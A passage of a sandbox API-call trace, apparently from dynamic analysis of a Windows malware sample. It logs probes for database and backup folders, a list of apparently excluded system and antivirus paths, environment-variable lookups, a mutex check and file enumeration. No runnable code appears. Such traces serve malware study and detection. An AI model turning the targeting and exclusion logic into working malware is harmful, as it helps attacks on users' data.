nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@섢R샶R企@\x18㾤Q\x18\x1b")) returned 0xffffffff [0057.682] GetLastError () returned 0x3 [0057.682] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0057.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@삌R企@\x18䀴Q\x181")) returned 0xffffffff [0057.684] GetLastError () returned 0x2 [0057.684] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0057.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@셤R企@\x18?T\x18;")) returned 0xffffffff [0057.686] GetLastError () returned 0x2 [0057.686] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@뻜R企@\x18?T\x18D")) returned 0xffffffff [0057.687] GetLastError () returned 0x2 [0057.687] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.687] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@삌R企@\x18셤R\x18j")) returned 0xffffffff [0057.689] GetLastError () returned 0x2 [0057.689] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@뻜R企@\x18?T\x18q")) returned 0xffffffff [0057.690] GetLastError () returned 0x2 [0057.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\셠RP") returned 6 [0057.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@몤R企@\x18?T\x18y")) returned 0xffffffff [0057.692] GetLastError () returned 0x2 [0057.692] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.692] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@삌R企@\x18?T\x18\x81")) returned 0xffffffff [0057.693] GetLastError () returned 0x2 [0057.693] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.694] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.694] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@뻜R企@\x18?T\x18\x88")) returned 0xffffffff [0057.695] GetLastError () returned 0x2 [0057.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@몤R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.697] GetLastError () returned 0x2 [0057.697] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@삌R企@\x18?T\x18\x97")) returned 0xffffffff [0057.698] GetLastError () returned 0x2 [0057.698] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.698] GlobalLock (hMem=0x440004) returned 0x550170 [0057.698] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.698] GlobalUnlock (hMem=0x440004) returned 0 [0057.698] GlobalLock (hMem=0x440004) returned 0x550170 [0057.698] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.698] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.698] GlobalUnlock (hMem=0x440004) returned 0 [0057.698] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.698] GlobalUnlock (hMem=0x44000c) returned 0 [0057.698] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.699] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.699] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.699] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.699] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.699] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.699] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.699] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.699] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.699] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.699] GlobalUnlock (hMem=0x44000c) returned 0 [0057.699] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.699] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.699] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.699] GlobalUnlock (hMem=0x44000c) returned 0 [0057.699] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.699] GlobalUnlock (hMem=0x440004) returned 0 [0057.699] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.699] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.699] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.700] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.700] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.700] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.700] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.700] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.700] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\") returned 0x35 [0057.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.700] GlobalLock (hMem=0x440004) returned 0x550170 [0057.700] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.700] GlobalUnlock (hMem=0x440004) returned 0 [0057.700] GlobalLock (hMem=0x440004) returned 0x550170 [0057.700] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.700] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.700] GlobalUnlock (hMem=0x440004) returned 0 [0057.700] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.700] GlobalUnlock (hMem=0x44000c) returned 0 [0057.700] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.701] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.701] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.701] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.701] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.701] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.701] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.701] GlobalUnlock (hMem=0x44000c) returned 0 [0057.701] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.701] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.701] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.701] GlobalUnlock (hMem=0x44000c) returned 0 [0057.701] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.701] GlobalUnlock (hMem=0x440004) returned 0 [0057.702] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.702] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, 